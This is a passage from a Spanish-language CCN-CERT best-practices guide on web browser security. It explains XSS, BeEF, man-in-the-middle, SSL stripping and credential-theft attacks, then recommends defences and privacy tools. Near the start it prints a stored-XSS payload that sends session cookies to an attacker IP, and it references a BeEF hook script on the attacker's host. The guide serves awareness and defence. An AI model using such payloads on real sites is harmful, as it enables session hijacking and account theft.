Dado que existe la posibilidad de representar los datos de entrada de múltiples formas, como, por ejemplo: ASCII, hexadecimal, Unicode, etc., estos ataques pueden emplear diferentes técnicas de codificación que les ayuden a evadir determinados mecanismos de seguridad. Por ejemplo, el carácter ‘document.location.replace(‘http://192.168.1.50/cookie.php?c=’+document.c ookie); Cada vez que un usuario entre en el foro donde se muestre el nombre correspondiente al campo vulnerable, se ejecutará el código JavaScript anterior. A menos que el servidor implemente los flag HTTPOnly y Secure, el código permitiría redirigir la cookie de sesión actual de cada usuario a la IP del atacante, en este caso la IP 192.168.1.50. El atacante tendrá únicamente que dejar a la escucha el puerto 80 para esperar las cookies de los usuarios afectados.

19 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

4.2.2 Ataques con JavaScript (BeEF) Aunque los XSS persistentes pueden tener un impacto significativo en la plataforma web no deben menospreciarse los XSS reflejados ya que éstos unidos a la ingeniería social pueden tener consecuencias importantes. En la siguiente imagen se muestra un recurso web susceptible a un XSS reflejado.

Figura 17. Página vulnerable a un XSS reflejado

Tal y como se muestra en el código fuente del recurso “portal”, el código JavaScript es interpretado correctamente por lo que, si un atacante logra que un usuario abra dicho enlace, conseguirá ejecutar código en su navegador. En este caso, el código dañino (http://192.168.1.136.3000/hook.js) cargará a su vez otro fichero JavaScript remoto (hook.js) alojado en el equipo del atacante (IP 192.168.1.136) en el que ejecutará BeEF [Ref.- 16]. Desde este framework el atacante podrá cargar nuevos payloads, llevar a cabo ataques Man in the Browser, utilizar el navegador del usuario como proxy, establecer mecanismos de persistencia en el navegador (XMLHttpRequest Polling, Websockets), etc.

Figura 18. BeEF (Port Scanner)

4.3 Ataques Man in the Middle Los ataques Man in the Middle (MitM) o ataques "de hombre en medio", bajo el contexto de este informe, hacen referencia a la capacidad que puede tener un tercero de acceder a los datos transferidos por un usuario desde su navegador a determinado servicio web y viceversa. El usuario debe conocer que determinados entornos son más proclives a este tipo de ataques debido a la facilidad de acceso al mismo medio de conexión que puede tener un atacante.

20 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Un ejemplo de un entorno potencialmente hostil es una red local en la cual múltiples usuarios comparten una misma VLAN y en la que no se han aplicado las medidas de seguridad adecuadas. Bajo este tipo de entornos, existen multitud de ataques (ARP Poisoning, DHCP/DNS Spoof, STP Mangling, etc.) a los que puede recurrir un atacante para que el tráfico de cierta víctima sea redirigido o capturado por su equipo de forma que pueda monitorizar y/o modificar los datos del usuario. Herramientas como Ettercap, Bettercap, Yersinia, Cain & Abel, así como el uso de falsos AP (Access Point) que simulan redes wireless son, mayoritariamente, los recursos más utilizados por los atacantes para conseguir acceso a los datos de los usuarios. Si un usuario es víctima de uno de estos ataques y realiza conexiones desde el navegador con un servicio web no seguro (el cual no implementa un cifrado robusto) sus datos serán susceptibles de ser robados o modificados. Esto significa, por ejemplo, que sus credenciales pueden ser sustraídas o que sus cookies de sesión pueden ser reutilizadas para suplantar su identidad (termino conocido como sidejacking). Incluso aunque la información intercambiada por el usuario desde su navegador no contenga datos privados o relevantes el atacante puede inducir al usuario a navegar a páginas controladas por el mismo o a realizar acciones no deseadas desde el propio navegador. La siguiente imagen representa un ataque de este tipo en donde un determinado usuario, víctima de un ARP Spoof, es forzado a acceder a un recurso controlado por el atacante. Fíjese en cada una de las fases que se desarrolla en el diagrama.

Figura 19. MitM

El atacante, desde su posición privilegiada, espera recibir una respuesta HTML de una conexión legítima para inyectar un iframe apuntando a uno de sus servidores de control (paso 4). Cuando el navegador recibe el código adulterado realiza una conexión al servidor dañino www.malicious-site.com. Dicho sitio tiene a la escucha Metasploit con el módulo browser_autopwn2 [Ref.- 17] de forma que una vez que recibe la conexión del usuario intenta explotar alguna vulnerabilidad del navegador 21 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

para conseguir shell en dicha máquina. Es importante darse cuenta que el usuario no necesita ni siquiera hacer clic en un enlace dañino para forzar a su navegador a acceder a un recurso controlado por el atacante. Aunque pueda parecer complejo preparar este tipo de escenarios, algunas de las herramientas previamente listadas e incluso herramientas para Android [Ref.- 18] permiten automatizar a golpe de clic este tipo de ataques. Nota: un atacante puede utilizar diversas técnicas para conseguir acceder al tráfico del usuario incluso cuando éste se encuentra en un lugar remoto. Por ejemplo, multitud de routers domésticos son propensos a vulnerabilidades que pueden ser explotadas y que permiten su acceso remoto. Un atacante puede modificar sus DNS para redirigir el tráfico del usuario a un servidor dañino. Asimismo, cierto tipo de ataques CSRF [Ref.- 19] pueden instruir al navegador de la víctima a modificar también sus DNS. Los routers corporativos tampoco quedan exentos de este tipo de ataques; bien por vulnerabilidades o por deficiencias de configuración pueden ser remotamente configurados para hacer forwarding de sus conexiones a un sistema controlado por los atacantes. Ataques mucho más sofisticados en los que pueden verse involucrados incluso países son también posibles mediante la modificación de rutas BGP [Ref.- 20] en routers fronterizos. Si este tipo de ataques se combinan con el robo de certificados procedentes de autoridades de certificación (CA) las consecuencias pueden ser devastadoras [Ref.- 21]. 4.3.1 SSL Stripping Los ataques de tipo "SSL stripping" tienen como objetivo aprovecharse de conexiones inseguras para forzar al navegador de la víctima a comunicarse con el atacante mediante texto plano sobre HTTP. El atacante, a modo de proxy, reenvía dicho tráfico en su versión HTTPS consiguiendo así que la conexión segura se establezca únicamente entre el atacante y el servidor destino (mientras, por otro lado, se comunica por HTTP con el cliente).

Figura 20. SSLtrip

Actualmente los navegadores implementan medidas como HSTS para evitar este tipo de ataques. No obstante, HSTS puede ser evadido también bajo ciertas condiciones tal y como se describe en el siguiente punto.

22 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

4.3.2 HTTP Strict Transport Security Como se detalló en el punto 3.1.1, la política HSTS tiene como objetivo evitar ataques de tipo downgrade forzando al navegador a emplear una conexión HTTPS para comunicarse con el servicio. Uno de los problemas que presenta dicha directiva es que cuando ésta es enviada por primera vez, como consecuencia de la primera conexión del navegador, o bien cuando el tiempo establecido por “max-age” expira, un atacante con acceso al medio de dicha comunicación puede eliminar la cabecera “Strict-TransportSecurity” de forma que el navegador nunca llegue a conocer las exigencias HTTPS del servicio. Para evitar este problema, algunos navegadores como Chrome o Firefox traen precargada una lista de dominios de confianza. Sin embargo, existen todavía posibilidades de ataque para evadir esta medida. En la BlackHat Asia de 2014 se presentó una evolución de la conocida herramienta SSLtrip con el nombre SSLtrip+ o SSLtrip2 la cual implementa nuevas funcionalidades [Ref.- 22] para evadir HSTS haciendo un downgrade de los enlaces HTTPS a HTTP y anteponiendo determinados subdominios no válidos para los sitios objetivo. 4.3.3 Downgrade attacks Los ataques downgrade tienen como objetivo rebajar el nivel de seguridad implementado en determinado protocolo o sistema para facilitar así un ataque posterior. Este tipo de acciones suelen ser utilizadas contra servicios que presentan sistemas criptográficos de autenticación que admiten negociación. Un ataque downgrade, por ejemplo, permitiría forzar a que un determinado servicio deje de utilizar un modo de operación criptográfico robusto y de gran calidad para utilizar otro más débil y más susceptible a ser vulnerado. Las librerías en las que se apoyan servicios web, correo electrónico, etc., suele ser objeto de este tipo de ataques. Un atacante, bajo una conexión de estas características y aprovechándose de un MitM podría inyectar determinado código JavaScript en el navegador de la víctima para enviar múltiples peticiones a determinado sitio web seguro para ir descifrando poco a poco el contenido cifrado.

5. RECOMENDACIONES DE SEGURIDAD El usuario debe entender que el navegador es una herramienta muy compleja capaz de manejar numerosas tecnologías y que, al igual que cualquier otro programa, está sujeta a vulnerabilidades y a gran variedad de ataques. Describir la facilidad con la que muchos de estos ataques son realizados es uno de mejores métodos para concienciar al usuario sobre las consecuencias que puede acarrear hacer un mal uso del navegador.

23 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

5.1 Actualizaciones del navegador y plugins Posiblemente, la pauta más importante que debe seguir el usuario para evitar la mayor parte de ataques críticos descritos anteriormente es asegurarse que su navegador, así como plugins y extensiones están actualizados correctamente. Como se ha descrito en el punto 4.1, los atacantes, de forma automatizada, pueden conocer la versión y tipo del navegador/plugins para posteriormente lanzar exploits a medida. Un navegador actualizado evitará gran parte de estos problemas. Actualmente, los desarrolladores de los navegadores más utilizados conocen la importancia de mantener el navegador actualizado y ya implementan mecanismos para realizar dicha acción de forma automatizada. Por ejemplo, los navegadores Firefox y Chrome configuran y gestionan dicha actualización por medio de la propia aplicación. En el caso de Chrome mediante tareas programadas y en el caso de Firefox desde el propio proceso del navegador. Por otro lado, tanto Edge (el último navegador de Microsoft incorporado en Windows 10) como IE (Internet Explorer) reciben sus actualizaciones a través de los updates del sistema operativo. Es fundamental, por tanto, que el usuario se asegure que su Windows está configurado para actualizarse de forma automática (configuración por defecto). Por otro lado, la gestión de los plugins dependerá de cada caso en particular. Por ejemplo, en el siguiente cuadro se resume la forma en la que Adobe Flash Player es gestionado por cada uno de los navegadores.

Figura 21. Adobe Flash

A partir de la versión 11.2 Adobe Flash Player [Ref.- 23] utiliza un servicio y cierta tarea programada para mantener el sistema actualizado (siempre y cuando el usuario, durante la instalación, seleccione la opción por defecto). Otro plugin que requiere gran atención es Java ya que, al igual que Flash, es uno de los principales objetivos [Ref.- 24] de los atacantes. Es muy importante que el usuario esté al corriente y apruebe las actualizaciones disponibles. El proceso 24 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

jusched.exe se ejecutará cada vez que el equipo se inicie y será el encargado de gestionar las actualizaciones automáticas.

Figura 22. Java. Proceso jusched.exe

Al igual que el plugin de Flash, se recomienda no instalar Java a menos que sea estrictamente necesario, en cuyo caso considere las recomendaciones del siguiente punto. 5.1.1 Click To Play La mayor parte de navegadores permiten deshabilitar y habilitar a golpe de clic los componentes instalados. Ésta puede ser una buena opción para activar de forma temporal plugins como Flash y Java de forma controlada por el usuario.

Figura 23. Habilitar/Deshabilitar Java en Firefox

Otra opción es activar bajo demanda, en función del dominio visitado, el plugin correspondiente. La mayor parte de navegadores soportan esta funcionalidad conocida como click-to-play. La idea es bloquear por defecto todos los plugins (o aquellos que desee el usuario) y solicitar la ejecución de los mismos cada vez que una página web visitada requiera alguno de ellos. Delegar la ejecución de plugins al usuario es un buen control de seguridad para evitar exploits que se aprovechan de plugins vulnerables e incluso de cierto tipo ataques de malvertising. Para conocer cómo habilitar esta funcionalidad en los navegadores Firefox, Chrome, Opera, Internet Explorer y Safari se recomienda visitar la referencia adjunta [Ref.- 25].

5.2 Software para mitigar exploits Tal y como se ha descrito en el punto 4.1 existen determinados tipos de ataques con los que es posible comprometer un equipo con tan sólo visitar un enlace (sin

25 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

necesidad de descargar o ejecutar un fichero) al aprovecharse de vulnerabilidades en el navegador o en alguno de sus componentes. Ya que en ocasiones herramientas de ataque como los Exploit Kits cuentan con 0-days (exploits para vulnerabilidades desconocidas que no han sido parcheadas) es aconsejable disponer de software adicional para mitigar los mismos. Una de las herramientas más conocidas es EMET (Microsoft) [Ref.- 26] la cual permite aplicar determinadas medidas de seguridad tales como DEP, ASLR, EAF, SEHOP, NPA, etc., de forma personalizada a los procesos que se deseen para prevenir la ejecución de código dañino. Se recomienda que herramientas como el navegador, así como tecnologías como Java o Adobe Flash se encuentren protegidas por EMET o herramientas similares (por ejemplo, Malwarebytes Anti-Exploit [Ref.- 27]). Este tipo de aplicaciones no deben de verse como una alternativa al antivirus sino como una herramienta adicional más de protección.

5.3 HSTS y HTTPS Everywhere Como se ha descrito en el punto 3.1.1 la política HSTS tiene como objetivo, entre otros, evitar ataques SSL Stripping. Esta funcionalidad viene implementada en la gran mayoría de navegadores actuales. Para fortalecer aún más la defensa contra algunos de los ataques definidos en el punto 4.3, donde se explicaron diversos ataques MitM (Man In The Middle), se recomienda el uso de la extensión HTTPS Everywhere [Ref.- 28]. Esta extensión surge como un proyecto de colaboración entre "Tor Project" y la EFF (Electronic Frontier Foundation) y su objetivo es facilitar y priorizar el uso de HTTPS en las comunicaciones del usuario. Ya que muchos servidores web todavía ofrecen sus servicios por medio de HTTP y HTTPS, este complemento garantiza siempre el uso del canal seguro. Actualmente HTTPS Everywhere dispone de miles de reglas [Ref.- 29] que le indican al navegador qué sitios deben usar HTTPS. Desde la página oficial de la EFF se explica cómo añadir nuevas reglas personalizadas para incluir dominios no contemplados por defecto. La siguiente imagen muestra a modo de ejemplo la regla encargada de reescribir conexiones HTTP por HTTPS para el dominio www.pastebin.com.

Figura 24. Reglas rewrite www.patebin.com

5.4 Protección de las sesiones Es importante que el usuario gestione de manera adecuada el uso de las cookies de sesión, así como las propiedades LocalStorage y sessionStorage utilizadas por HTML5 como sistema de almacenamiento local. 26 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

El LocalStorage es utilizado para guardar de forma indefinida información asociada con la sesión del usuario. Únicamente se eliminarán los datos de este sistema de almacenamiento mediante código o de forma manual, por ejemplo, desde el propio navegador. Por el contrario, sessionStorage guarda información de sesión de forma temporal que es eliminada cuando el navegador se cierra. Estos dos mecanismos se crearon como una evolución y mejora de las cookies tradicionales. Nota: los principales navegadores también permiten eliminar de forma global las cookies y LocaStorage desde el menú accesible por la combinación de teclas “CtrlShift-Del”. Es posible también, en algunos de ellos, configurar que dicha información sea eliminada automáticamente cada vez que se cierre el navegador.

Figura 25. Eliminación datos historial en Chrome, Firefox, IE y Opera

Eliminar este tipo de información de sesión ayudará a prevenir diversos tipos de ataques contra la privacidad y confidencialidad del usuario. Por ejemplo, si un usuario comparte físicamente un mismo equipo con diversas personas, cualquiera que disponga de los permisos necesarios podría acceder a las sesiones almacenadas por el navegador del resto de usuarios. Incluso podría extraer dicha información para reutilizarla posteriormente en otro equipo. Por otro lado, muchas compañías utilizan la información de sesión de los usuarios para hacer un seguimiento de la actividad de los mismos sin su consentimiento (véase punto 6). Algunas extensiones de gran ayuda para gestionar fácilmente este tipo de datos son BetterPrivacy y Self-Destructing Cookies [Ref.- 30]. Estas extensiones permiten eliminar automáticamente las cookies (e información de sesión) cuando ya no son requeridas. Para cada sitio que visite el usuario se puede indicar que elimine los datos de sesión, bien cuando se cierre el navegador/pestaña o que se mantengan persistentes. Estas extensiones ayudarán en gran medida a luchar contra evercookies [Ref.- 31], ETag tracking, determinados ataques CSRF que se aprovechan de sesiones almacenadas, así como múltiples técnicas de seguimiento utilizadas por multitud de compañías.

27 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Figura 26. BetterPrivacy y Self-Destructing Cookies

5.5 Contraseñas almacenadas La mayoría de navegadores ofrecen la posibilidad de guardar las credenciales de acceso a los diversos servicios web para agilizar y facilitar la navegación al usuario. Esta funcionalidad permite que los usuarios tengan que introducir una única vez sus credenciales de modo que en posteriores accesos el navegador se encargue de autocompletar las mismas.

Figura 27. Recordar credenciales (Firefox)

La forma, sin embargo, en la que la mayoría de navegadores almacenan dichas credenciales [Ref.- 32] en disco no es segura siendo así susceptibles de ser fácilmente extraídas. Este hecho ha sido aprovechado desde hace tiempo por los desarrolladores de malware para implementar funcionalidades [Ref.- 33] que automatizan la extracción de credenciales (password stealers) de los principales navegadores. La siguiente imagen se corresponde con una captura de Metasploit con el módulo de post-explotación post/windows/gather/enum_chrome. Tras obtener una sesión en la máquina de la víctima dicho módulo permite recuperar la información de sesión, historial, credenciales en claro, etc., almacenada por dicho navegador.

Figura 28. Metasploit: post/windows/gather/enum_chrome

28 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Del mismo modo, un atacante que tenga acceso físico a la misma sesión de un usuario podría visualizar fácilmente en claro las credenciales almacenadas. Únicamente necesita acceder al panel de gestión y configuración de las credenciales.

Figura 29. Visualización contraseñas almacenadas (Chrome y Firefox)

Debido a la escasa seguridad que ofrecen estos mecanismos, es recomendable no hacer uso de dicha funcionalidad y delegar dicha gestión, en caso de que el usuario dese utilizar este tipo de facilidades, a otro tipo de herramientas más seguras y específicas para dicho propósito [Ref.- 34]. Estas herramientas, denominadas gestores de contraseñas, permiten proteger de forma más segura las credenciales de los usuarios. No obstante, el usuario debe saber que los gestores de contraseñas tampoco están exentos de vulnerabilidades [Ref.- 35]. Como medida complementaria es recomendable que el usuario utilice sistemas de doble autenticación para acceder a los servicios web. Nota: algunos navegadores permiten incrementar significativamente la gestión que hacen de las contraseñas por medio de una clave maestra la cual será solicitada cada vez que se intente acceder al repositorio de credenciales. Es altamente recomendable utilizar esta opción en caso de delegar la gestión de contraseñas al navegador.

Figura 30. Clave maestra (Firefox)

5.6 Certificate Pinning En el punto 4.3 se detallaron algunas de las consecuencias de sufrir un ataque MitM. Uno de los mayores peligros a los que se puede exponer un usuario es que el acceso a determinados servicios críticos (protegidos bajo HTTPS) sea vulnerado de 29 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

forma que un atacante pueda acceder a los mismos sin que ni siquiera el propio usuario sea consciente de dicha intrusión. Este ataque es viable si los atacantes logran comprometer algunos de los componentes involucrados en una PKI (Public Key Infrastructure). Cuando un cliente accede a un sitio web bajo una conexión segura dicho servicio envía un certificado digital al navegador del usuario para tratar de autenticarse. Este certificado contiene múltiples campos en los que se indican el propietario, el dominio asociado, la clave pública del mismo, una firma digital, así como otro tipo de información relacionada con las propiedades del propio certificado (fecha de validez, etc.). El navegador, al recibir dicho certificado, comprobará que la firma es correcta y que el mismo ha sido firmado por una autoridad certificadora (CA) de confianza. Es importante entender que los navegadores vienen preconfigurados con un conjunto de certificados raíz (Root CA) en los cuales confía y que dicha confianza se basa en este hecho. Si, por ejemplo, el sitio web visitado utiliza un certificado auto-firmado en el cual no confía el navegador, se alertaría al usuario de dicho hecho para que éste valore y tome las decisiones oportunas (aceptar o denegar la conexión).

Figura 31. Certificado auto-firmado

Por cuestiones principalmente de seguridad, los certificados raíz no firman directamente los certificados finales (o de suscriptor) sino que se utilizarán para firmar certificados intermedios denominados certificados subordinados (Sub-CA) en los cuales delega su confianza para firman los certificados finales. Este proceso, conocido como "cadena de confianza", es el que emplean los navegadores para autenticar la identidad de un servicio.

Figura 32. Jerarquía de certificados, dominio ccn-cert.cni.es

30 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Nota: los certificados de tipo EV (verificación extendida) suelen ser mostrados de un color verde en el navegador para diferenciarlos de otro tipo de certificados. El concepto "verificación extendida" significa que dicho certificado ha sido expedido de conformidad con las directrices de validación definidas por el CA/Browser Forum (grupo que engloba las principales autoridades de certificación SSL) las cuales presentan medidas muy rigurosas para validar los datos del solicitante. Es recomendable que el usuario observe si este tipo de certificados está presente en los servicios web críticos en los cuales confía.

Figura 33. Certificado EV (Paypal)

El principal problema de la cadena de confianza se presenta cuando se compromete una CA raíz/intermedia o bien cuando un grupo de atacantes consigue implantar con éxito una entidad intermedia. En este escenario, los atacantes, mediante un ataque de hombre en medio, podrían cifrar y descifrar el tráfico de los usuarios de forma totalmente transparente, viéndose así comprometida la confidencialidad de sus comunicaciones. Casos como el de Diginotar [Ref.- 36] o Comodo han demostrado que este tipo de ataques son totalmente viables y reales. Una de las opciones que dispone el usuario para mejorar la seguridad de su navegador respecto a este problema es hacer uso del denominado “Certificate Pinning” [Ref.- 37]. El término pinning hace referencia al proceso de asociar un determinado host con su respectivo certificado X.509 y su clave pública. Algunos navegadores han incluido capacidades de pinning para reducir este tipo de ataques. Por ejemplo, Google Chrome además de soportar HSTS (junto con su lista precargada de dominios) incluye en el código fuente los datos de las CA que firman certificados de servicio. Una alternativa, independiente del navegador, para aplicar "Certificate Pinning" es EMET. Además de proporcionar las capacidades anti-explotación descritas en el punto 5.2, también permite aplicar este sistema de seguridad. Nota: el mecanismo de pinning es también utilizado por la directiva de seguridad HPKP (HTTP Public Key Pinning) la cual, utilizada de forma conjunta con HSTS, es realmente eficiente para enfrentarse a ataques MitM. La idea de esta directiva es permitir que los servicios web (HTTPS) informen, en su primera comunicación con el navegador, las claves públicas asociadas a dicho dominio de forma que sean recordadas por el mismo durante determinado tiempo (especificado por el parámetro “max-age”). Si el navegador, posteriormente, recibe una clave pública diferente podrá alertar al usuario de un posible ataque MitM.

31 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

5.7 Otras recomendaciones de carácter genérico •

Revise las opciones de seguridad y privacidad de su navegador. Actualmente los navegadores disponen de medidas tan interesantes como: no aceptar cookies de terceros, bloquear pop-ups, evitar la sincronización de contraseñas, evitar el autocompletado, borrar los ficheros temporales y cookies al cerrar el navegador, bloquear la geolocalización, filtrar ActiveX, etc. En caso de no contar con alguna de estas funcionalidades podrá recurrir al uso de extensiones o herramientas de seguridad externas.

•

Si se navega por páginas desconocidas es recomendable que el usuario deshabilite plugins como Flash/Java e incluso JavaScript. Algunos complementos como QuickJava facilitan esta tarea enormemente. Para usuarios más expertos se recomienda el uso de complementos como NoScript o uMatrix con el cual es posible configurar a medida políticas de seguridad para el uso de JavaScript, Java y otros plugins.

•

Utilíce contraseñas robustas y diferentes para el acceso a los servicios web y, si es posible, debe utilizarse doble autenticación. Estas contraseñas deberán ser periódicamente renovadas.

•

Es recomendable que el usuario no almacene las sesiones asociadas a servicios web que manejen información sensible o crítica en el equipo y cierre las mismas una vez que finalice su navegación.

•

No deben instalarse plugins/extensiones desde sitios no oficiales (aquellos no relacionados con el del propio sitio del desarrollador).

•

No debe hacerse clic en enlaces sospechosos; por ejemplo, los recibidos por medio del correo electrónico.

6. RECOMENDACIONES DE PRIVACIDAD 6.1 Técnicas de seguimiento No son escasos los métodos que permiten hacer un seguimiento de las actividades del usuario mientras navega por Internet. Determinadas compañías utilizan algunas de estas técnicas para ofrecer publicidad segmentada y contextual basada en las preferencias de los usuarios. Este tipo de acciones son las que explican por qué determinadas páginas muestran anuncios y banners relacionados con gustos y preferencias de los usuarios. Una de las técnicas más utilizadas para hacer un seguimiento del usuario es el uso de cookies. La principal función de una cookie es llevar el control de un usuario. Normalmente cuando un usuario se autentica con éxito contra un servicio web, éste le asigna una cookie única que permite identificar la sesión asociada a dicho usuario. El cliente cada vez que realiza una petición posterior a dicho servicio envía la cookie asignada como parte de las cabeceras enviadas por el navegador. Mediante este mecanismo el servidor web puede reconocer la legitimidad de la petición y su relación con el usuario. 32 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Las cookies también pueden ser asignadas a un cliente sin necesidad de autenticarse previamente a un sitio web. Generalmente el servicio la crea para guardar los hábitos y preferencias de su navegación. Algunas agencias de publicidad utilizan este tipo de cookies para recopilar la mayor cantidad de información del usuario creando así un perfil asociado al mismo para ofrecerle publicidad dirigida. Habitualmente la vía de acceso utilizada para fijar este tipo de cookies es por medio de servidores de anuncios compartidos por múltiples dominios, lo que les permite relacionar las páginas accedidas por cada usuario. Esto significa que los usuarios, sin necesidad de acceder directamente a los dominios que fijan este tipo de cookies (cookies de terceros), pueden recibir las mismas igualmente si el dominio visitado incrusta (por ejemplo, mediante un iframe) alguno de esos sitios. Este es también el mecanismo utilizado por redes sociales tales como Facebook, Google+, etc. La siguiente imagen muestra de forma genérica un caso práctico de este tipo de técnicas.

Figura 34. Third-Party cookies

En la imagen anterior, un usuario visita determinada página (http://sitioA.com) la cual aloja un anuncio por medio de un iframe (http://sitioB.com). Este anuncio obliga al navegador a hacer una nueva petición HTTP a http://sitioB.com. Cuando el sitio B recibe dicha petición es capaz de deducir, gracias al header "Referer", el origen del anuncio, es decir el Sitio A. Con esta información el Sitio B comienza a crear un perfil para dicho usuario y establece una cookie de seguimiento. Si posteriormente ese mismo usuario visita otra página, por ejemplo, http://sitioC.com (en la cual el sitio B contiene también un anuncio), el usuario enviará la cookie previamente establecida. De esta forma el sitio B podrá correlar que un mismo usuario ha visitado ambos sitios. Las cookies, sin embargo, no son el único recurso al que se puede recurrir [Ref.38] para realizar un seguimiento de los usuarios. El LocalStorage, LSO (Local Shared Objects), evercookies, canvas fingerprinting, etc., son otras técnicas que permiten identificar y correlar información acerca de los clientes. Gran parte de estas técnicas se aprovechan de las funcionalidades proporcionadas por HMLT5. Las propias características del navegador pueden ser suficientes también (sin necesidad de cookies) para identificar de manera casi unívoca un navegador. El 33 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

proyecto https://panopticlick.eff.org (Panopticlick) creado por el EFF es un buen recurso para probar cómo de único puede ser el navegador. Es interesante comprobar que además de los plugins, información sobre la plataforma, user-agent, etc., se consideran también las fuentes del navegador para crear una firma más precisa.

Figura 35. Fingerprinting

Algunas extensiones como "Random Agent Spoofer" [Ref.- 39] proporcionan múltiples opciones para protegerse en gran manera contra este tipo de técnicas de fingerprinting. Esta extensión permite modificar el user-agent del propio navegador por uno generado de forma aleatoria o bien por uno predefinido. Además, proporciona otras funcionalidades interesantes destinadas a proteger la privacidad y seguridad de la navegación; por ejemplo: eliminar determinadas cabeceras (por ejemplo, el header "Referer"), habilitar cabeceras como "Do Not Track" (utilizado para instruir al servidor Web a que no realice técnicas de seguimiento del usuario) [Ref.- 40], deshabilitar tecnologías como WebGL o WebRTC (la cual puede utilizarse para revelar información delicada; por ejemplo, la dirección IP real detrás de una VPN), permite falsificar la resolución del monitor (característica que también puede ser usada para identificar un cliente), etc.

Figura 36. Random Agent Spoofer

34 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Aunque los principales navegadores ya disponen de algunas contramedidas para bloquear ciertas técnicas de seguimiento, existen extensiones interesantes que permiten reducir la “huella digital” y mejorar la privacidad del usuario. Algunas de las extensiones que protegen de manera eficiente contra cookies de terceros y algunas de las técnicas previamente descritas son: Disconnect, Privacy Badger, Decentraleyes y uBlock Origin. Disconnect [Ref.- 41] y Privacy Badger [Ref.42], por ejemplo, permiten bloquear el seguimiento utilizado por centenares de servicios de terceros, así como motores de búsqueda y redes sociales evitando el rastreo del usuario y agilizando la navegación web.

Figura 37. Extensión Disconnect

Decentraleyes [Ref.- 43], de forma complementaria, puede utilizarse para evitar la carga de numerosos recursos web (AngularJS, Backbone.js, jQuery, Underscore.js, etc.) comúnmente cargados desde CDN (Content Delivery Networks) tales como: Google Hosted Libraries, Microsoft Ajax CDN, CDNJS (Cloudflare), jQuery CDN (MaxCDN), jsDelivr (MaxCDN). La idea de Decentraleyes es bloquear el tráfico a este tipo de servidores de distribución y cargar dichos recursos de forma local (motivo por el cual ocupa unos 5 MB aproximadamente) para evitar así posibles técnicas de seguimiento (basadas en direcciones IP, campo referer, etc.) utilizadas por algunas de estas redes. En https://decentraleyes.org/test/ es posible probar la exposición de nuestro navegador a este tipo de redes. Por último, es importante mencionar uBlock Origin [Ref.- 44] al tratarse de una de las mejores extensiones open-source existentes para bloquear anuncios, cookies de terceros, así como páginas potencialmente dañinas. Esta extensión dispone de multitud de listas negras públicas relacionadas con anuncios, privacidad, dominios de malware, etc., además de permitir la incorporación de filtros y reglas personalizadas.

35 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Figura 38. Extensión uBlock Origin

El uso de este tipo de complementos ayudará a reducir las vías de infección generadas por medio de técnicas de malvertising descritas en el punto 4.1.1.2. Cabe mencionar que los complementos expuestos anteriormente representan sólo algunas de las soluciones existentes. Existen multitud de extensiones dirigidas a evitar el fingerprinting y las técnicas de tracking utilizadas por terceros; por ejemplo: CanvasBlocker, Blender, Location Guard, etc. Es importante que el usuario valore qué extensiones disponibles para su navegador se adaptan mejor a sus necesidades. Téngase en cuenta que algunas de estas extensiones requieren de determinados conocimientos técnicos del usuario para configurarlas y utilizarlas de forma eficiente sin que se generen problemas de visualización o incompatibilidad con otras extensiones. Para conocer otras herramientas similares encaminadas a mejorar la privacidad del usuario se recomienda el sitio www.privacytools.io. De forma complementaria a estas extensiones, el uso de buscadores como https://duckduckgo.com/ o https://www.startpage.com/ incrementarán la privacidad del usuario frente a otra serie de buscadores los cuales monitorizan y almacenan todo tipo de información. Nota: los usuarios técnicos pueden considerar extensiones como "NoScript Security Suite" o "Policeman" para la generación de reglas más personalizadas basadas en tipo de contenido.

6.2 Modo privado de navegación Los principales navegadores actuales disponen de un modo de navegación denominado privado o incógnito. La idea de este modo es que el usuario pueda abrir una instancia del navegador de forma independiente (diferente estéticamente para identificarla de forma visual) que no haga uso de los datos de sesión almacenados en el modo normal de ejecución. Cuando el usuario cierre el navegador, éste se encargará de borrar las cookies, archivos temporales, búsquedas realizadas, el historial así como otros datos locales creados durante la navegación. 36 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Asimismo, algunos navegadores deshabilitarán las extensiones y habilitarán ciertas medidas anti-tracking para mejorar la privacidad. Este modo de navegación está libre de cualquier sesión utilizada en el modo de navegación normal por lo que añade cierta comodidad cuando se quiere acceder a un sitio web de forma anónima (no autenticada) sin tener que eliminar las cookies de sesión, así como otra serie de datos locales almacenados por el navegador (por ejemplo, el autocompletado de formularios).

Figura 39. Modo privado/incógnito en Firefox, Chrome, IE y Opera

